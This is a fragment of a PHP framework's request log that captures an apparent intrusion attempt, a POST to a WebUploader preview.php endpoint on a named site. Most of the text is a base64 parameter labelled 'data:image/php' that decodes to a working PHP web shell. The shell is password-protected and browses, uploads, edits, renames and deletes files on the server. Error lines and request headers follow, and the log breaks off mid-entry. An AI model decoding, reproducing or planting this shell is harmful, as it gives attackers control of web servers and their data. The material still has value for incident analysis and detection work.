'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:48+08:00 ] 116.213.36.234 POST www.51tianwei.com/res/webuploader/0.1.5/server/preview.php [运行时间:0.002759s] [吞吐率:362.45req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'res', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 